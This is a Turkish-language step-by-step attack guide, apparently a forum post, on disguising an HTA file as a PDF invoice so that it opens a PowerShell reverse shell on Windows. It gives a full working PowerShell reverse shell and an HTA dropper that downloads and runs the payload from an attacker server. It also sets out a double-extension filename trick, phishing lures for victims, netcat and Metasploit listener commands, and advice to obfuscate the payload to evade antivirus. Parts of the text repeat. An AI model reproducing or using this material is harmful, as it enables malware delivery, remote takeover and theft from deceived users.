Bu rehberde, PDF gibi görünerek çalışan ve Windows sistemlerde PowerShell üzerinden ters bağlantı (reverse shell) açan HTA (HTML Application) dosyası tekniği detaylı şekilde anlatılmaktadır. 2025 yılı itibariyle hâlâ kullanılan sosyal mühendislik temelli bir yöntemdir.
Windows işletim sistemlerinde kullanılan, HTML, JavaScript ve VBScript içerebilen, Internet Explorer motoru ve Windows Script Host (WSH) ile çalışan uygulama dosyasıdır. .hta uzantısı ile kaydedilir ve komut çalıştırmaya olanak sağlar.
Aşağıdaki PowerShell scripti, saldırganın IP adresine ters bağlantı kurar:
Payload scriptini saldırgan kontrolündeki bir web sunucusuna yükleyin. Örneğin Apache üzerinde:
Payload scripti şu adreste erişilebilir olur:
http://ATTACKER_IP/payload.ps1
Aşağıdaki HTML ve JavaScript kodunu içeren bir dosya oluşturun ve `.hta` uzantısı ile kaydedin:
Dosya adını PDF uzantısı gibi göstermek için:
`Fatura_Resmi_2025.pdf.hta`
Windows’ta uzantılar gizli olduğu için kullanıcı dosyayı PDF sanabilir.
- Dosyayı doğrudan göndermek yerine, parola korumalı `.zip` arşivi içinde gönderin.
- Kullanıcıya "PDF görüntüleyici hatası, lütfen ekteki dosyayı açınız" gibi ikna edici mesajlar iletin.
- Dosya adına ve açıklamaya dikkat edin, PDF algısını güçlendirin.
Saldırgan tarafında ters bağlantıyı beklemek için:
Netcat ile:
Metasploit Framework ile:
Sonuç ve Dikkat Edilmesi Gerekenler
- HTA dosyaları, Windows sistemlerde Internet Explorer motoru ve WSH sayesinde komut çalıştırabilir.
- Sosyal mühendislik ile dosya PDF gibi gösterildiğinde kullanıcılar tarafından açılma ihtimali yüksektir.
- AV ve Endpoint güvenlik yazılımlarına karşı payload'ı Base64 encode etmek veya obfuscate etmek önerilir.
- Bu yöntem, doğrudan PDF exploit’i kullanmaz ancak PDF görünümü üzerinden kullanıcıyı hedefler.
HTA Nedir?
Windows işletim sistemlerinde kullanılan, HTML, JavaScript ve VBScript içerebilen, Internet Explorer motoru ve Windows Script Host (WSH) ile çalışan uygulama dosyasıdır. .hta uzantısı ile kaydedilir ve komut çalıştırmaya olanak sağlar.
Adım 1: Payload Script Hazırlama (payload.ps1)
Aşağıdaki PowerShell scripti, saldırganın IP adresine ters bağlantı kurar:
Kod:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
Adım 2: Payload Scriptini Web Sunucusuna Yükleme
Payload scriptini saldırgan kontrolündeki bir web sunucusuna yükleyin. Örneğin Apache üzerinde:
Kod:
sudo cp payload.ps1 /var/www/html/
sudo systemctl start apache2
Payload scripti şu adreste erişilebilir olur:
http://ATTACKER_IP/payload.ps1
Adım 3: HTA Dosyasını Oluşturma
Aşağıdaki HTML ve JavaScript kodunu içeren bir dosya oluşturun ve `.hta` uzantısı ile kaydedin:
HTML:
<html>
<head>
<script>
try {
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')");
} catch (e) {}
</script>
</head>
<body>
<p>Belge yükleniyor, lütfen bekleyin...</p>
</body>
</html>
Dosya adını PDF uzantısı gibi göstermek için:
`Fatura_Resmi_2025.pdf.hta`
Windows’ta uzantılar gizli olduğu için kullanıcı dosyayı PDF sanabilir.
Adım 4: Sosyal Mühendislik ve Dosyanın Dağıtımı
- Dosyayı doğrudan göndermek yerine, parola korumalı `.zip` arşivi içinde gönderin.
- Kullanıcıya "PDF görüntüleyici hatası, lütfen ekteki dosyayı açınız" gibi ikna edici mesajlar iletin.
- Dosya adına ve açıklamaya dikkat edin, PDF algısını güçlendirin.
Adım 5: Dinleyiciyi Açma
Saldırgan tarafında ters bağlantıyı beklemek için:
Netcat ile:
Kod:
nc -lvnp 4444
Metasploit Framework ile:
Kod:
msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
run
Sonuç ve Dikkat Edilmesi Gerekenler
- HTA dosyaları, Windows sistemlerde Internet Explorer motoru ve WSH sayesinde komut çalıştırabilir.
- Sosyal mühendislik ile dosya PDF gibi gösterildiğinde kullanıcılar tarafından açılma ihtimali yüksektir.
- AV ve Endpoint güvenlik yazılımlarına karşı payload'ı Base64 encode etmek veya obfuscate etmek önerilir.
- Bu yöntem, doğrudan PDF exploit’i kullanmaz ancak PDF görünümü üzerinden kullanıcıyı hedefler.



